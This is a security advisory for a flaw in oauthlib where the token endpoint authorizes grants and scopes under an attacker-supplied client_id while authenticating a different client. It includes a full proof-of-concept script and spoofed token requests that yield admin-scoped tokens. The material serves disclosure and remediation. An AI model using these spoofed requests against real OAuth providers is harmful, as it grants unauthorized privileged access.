High advisory for oauthlib
GHSA-7984-qgvg-3j9c · Reported 30 Oct 2026
Full advisory details, affected packages, severity context, and original source.
Affected technology
Advisory overview
## Summary OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body. In affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`. As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity. ## Affected Surface The affected public surface is the OAuth2 token endpoint handling for: - `client_credentials` - `password` / Resource Owner Password Credentials The issue is relevant to OAuthlib provider deployments where: - the attacker has credentials for one valid lower-privilege confidential client; - another client has broader grants or scopes; - the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support. Deployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected. ## Details `Request` parses query and body parameters into request attributes, including `client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397 The `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66 For the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119 The problematic order is: ```python if not self.request_validator.authenticate_client(request): ... elif not hasattr(request.client, 'client_id'): ... self.validate_grant_type(request) request.client_id = request.client_id or request.client.client_id self.validate_scopes(request) ``` Because OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == "low"`. The shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately: - `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162 - `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176 The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97 - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195 This creates an inconsistent identity state: ```text request.client.client_id == "low" # authenticated client request.client_id == "high" # attacker-supplied request parameter ``` OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument. ## Impact An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument. Concrete impact can include: - issuing access tokens with scopes not assigned to the authenticated client; - allowing a low-privilege client to use a grant type reserved for a higher-privilege client; - persisting tokens under a spoofed `client_id` while the authenticated client object is different. This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client. ## PoC Create the following files in an empty directory. `requirements.txt`: ```text oauthlib==3.3.1 ``` `repro.py`: ```python import base64 import json from oauthlib.oauth2 import ( BearerToken, ClientCredentialsGrant, RequestValidator, ResourceOwnerPasswordCredentialsGrant, TokenEndpoint, ) class Client: def __init__(self, client_id): self.client_id = client_id CLIENTS = { "low": { "secret": "low-secret", "grants": {"client_credentials", "password"}, "scopes": {"read"}, }, "high": { "secret": "high-secret", "grants": {"client_credentials", "password"}, "scopes": {"read", "admin"}, }, } class DemoValidator(RequestValidator): def __init__(self): self.saved_tokens = [] def authenticate_client(self, request, *args, **kwargs): authorization = request.headers.get("Authorization", "") prefix = "Basic " if not authorization.startswith(prefix): return False decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8") client_id, secret = decoded.split(":", 1) record = CLIENTS.get(client_id) if record is None or record["secret"] != secret: return False # This is the authenticated client identity. request.client = Client(client_id) return True def client_authentication_required(self, request, *args, **kwargs): return True def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs): record = CLIENTS.get(client_id) return record is not None and grant_type in record["grants"] def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs): record = CLIENTS.get(client_id) return record is not None and set(scopes or []) <= record["scopes"] def get_default_scopes(self, client_id, request, *args, **kwargs): return [] def validate_user(self, username, password, client, request, *args, **kwargs): if username == "alice" and password == "wonderland": request.user = username return True return False def save_bearer_token(self, token, request, *args, **kwargs): self.saved_tokens.append({ "token": dict(token), "authenticated_client_id": request.client.client_id, "request_client_id": request.client_id, "scopes": list(request.scopes or []), }) validator = DemoValidator() token = BearerToken(validator, expires_in=3600) endpoint = TokenEndpoint( default_grant_type="client_credentials", default_token_type=token, grant_types={ "client_credentials": ClientCredentialsGrant(validator), "password": ResourceOwnerPasswordCredentialsGrant(validator), }, ) def low_client_headers(): value = base64.b64encode(b"low:low-secret").decode("ascii") return {"Authorization": f"Basic {value}"} def token_request(body): _headers, response_body, status = endpoint.create_token_response( "https://auth.example/token", body=body, headers=low_client_headers(), ) return status, json.loads(response_body) def assert_rejected(label, body): status, response = token_request(body) print(label, status, response) if status == 200: raise SystemExit(f"{label}: expected rejection, got success") def assert_spoofed_success(label, body): status, response = token_request(body) print(label, status, response) if status != 200: raise SystemExit(f"{label}: expected token, got {status} {response}") if response.get("scope") != "admin": raise SystemExit(f"{label}: expected admin scope, got {response}") saved = validator.saved_tokens[-1] if saved["authenticated_client_id"] != "low": raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}") if saved["request_client_id"] != "high": raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}") assert_rejected( "control client_credentials as low requesting admin", "grant_type=client_credentials&client_id=low&scope=admin", ) assert_spoofed_success( "spoofed client_credentials as low with client_id=high", "grant_type=client_credentials&client_id=high&scope=admin", ) assert_rejected( "control password as low requesting admin", "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin", ) assert_spoofed_success( "spoofed password as low with client_id=high", "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin", ) print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED") print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True)) ``` Run: ```bash python -m venv .venv . .venv/bin/activate python -m pip install -r requirements.txt python repro.py ``` Expected result: ```text control client_credentials as low requesting admin 400 {'error': 'invalid_scope'} spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'} control password as low requesting admin 400 {'error': 'invalid_scope'} spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'} OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED ``` The success condition is that both successful token responses are produced while the saved token state shows: ```json { "authenticated_client_id": "low", "request_client_id": "high", "scopes": ["admin"] } ``` That demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`. ## Suggested Remediation After client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`. For authenticated confidential-client flows, a safer invariant is: ```python if request.client is not None: if request.client_id is not None and request.client_id != request.client.client_id: raise InvalidClientError(...) request.client_id = request.client.client_id ``` This should happen before `validate_grant_type()` and `validate_scopes()` are called. Reporters: - [email protected] (Liyi), https://lzhou1110.github.io/ - [email protected] (Ziyue), https://zyy0530.github.io/ - [email protected] (Strick), https://str1ckl4nd.github.io/ - [email protected] (Maurice), http://maurice.busystar.org/ - [email protected] (Chenchen), https://7thparkk.github.io/
Affected packages and releases
PyPI / oauthlib
0.0.1, 0.0.2, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.3.0, 0.3.2
Also known as
CVE-2026-118669
